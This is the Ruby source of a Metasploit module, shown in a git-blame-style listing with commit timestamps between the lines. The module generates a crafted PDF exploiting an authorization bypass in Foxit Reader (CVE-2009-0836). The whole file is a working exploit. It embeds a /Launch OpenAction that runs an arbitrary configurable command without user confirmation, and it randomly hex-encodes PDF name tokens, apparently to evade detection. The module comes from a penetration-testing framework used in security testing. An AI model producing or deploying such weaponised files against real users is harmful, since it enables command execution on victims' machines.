2010-04-30 08:40:19 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2009-03-29 19:07:28 +00:00
|
|
|
|
|
|
|
require 'zlib'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Foxit Reader Authorization Bypass',
|
|
|
|
'Description' => %q{
|
2017-08-27 01:01:10 +00:00
|
|
|
This module exploits an authorization bypass vulnerability in Foxit Reader
|
|
|
|
build 1120. When an attacker creates a specially crafted pdf file containing
|
|
|
|
an Open/Execute action, arbitrary commands can be executed without confirmation
|
2013-08-30 21:28:54 +00:00
|
|
|
from the victim.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-0836' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '55615'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '34035' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 9 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
|
2017-03-03 18:00:07 +00:00
|
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
exec = datastore['CMD']
|
|
|
|
|
|
|
|
# Create the pdf
|
|
|
|
pdf = make_pdf(exec)
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
|
|
|
|
|
|
|
file_create(pdf)
|
|
|
|
end
|
|
|
|
|
|
|
|
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
2014-12-12 12:16:21 +00:00
|
|
|
def n_obfu(str)
|
2013-08-30 21:28:54 +00:00
|
|
|
result = ""
|
|
|
|
str.scan(/./u) do |c|
|
|
|
|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
|
|
|
result << "#%x" % c.unpack('C*')[0]
|
|
|
|
else
|
|
|
|
result << c
|
|
|
|
end
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def random_non_ascii_string(count)
|
2013-08-30 21:28:54 +00:00
|
|
|
result = ""
|
|
|
|
count.times do
|
|
|
|
result << (rand(128) + 128).chr
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def io_def(id)
|
2013-08-30 21:28:54 +00:00
|
|
|
"%d 0 obj" % id
|
|
|
|
end
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def io_ref(id)
|
2013-08-30 21:28:54 +00:00
|
|
|
"%d 0 R" % id
|
|
|
|
end
|
|
|
|
|
|
|
|
def make_pdf(exec)
|
|
|
|
|
|
|
|
xref = []
|
|
|
|
eol = "\x0d\x0a"
|
|
|
|
endobj = "endobj" << eol
|
|
|
|
|
|
|
|
# Randomize PDF version?
|
|
|
|
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << "%" << random_non_ascii_string(4) << eol
|
2013-08-30 21:28:54 +00:00
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
xref << pdf.length
|
|
|
|
pdf << endobj
|
|
|
|
xrefPosition = pdf.length
|
|
|
|
pdf << "xref" << eol
|
|
|
|
pdf << "0 %d" % (xref.length + 1) << eol
|
|
|
|
pdf << "0000000000 65535 f" << eol
|
|
|
|
xref.each do |index|
|
|
|
|
pdf << "%010d 00000 n" % index << eol
|
|
|
|
end
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << "startxref" << eol
|
|
|
|
pdf << xrefPosition.to_s() << eol
|
|
|
|
pdf << "%%EOF" << eol
|
|
|
|
|
|
|
|
end
|
2009-03-29 19:07:28 +00:00
|
|
|
end
|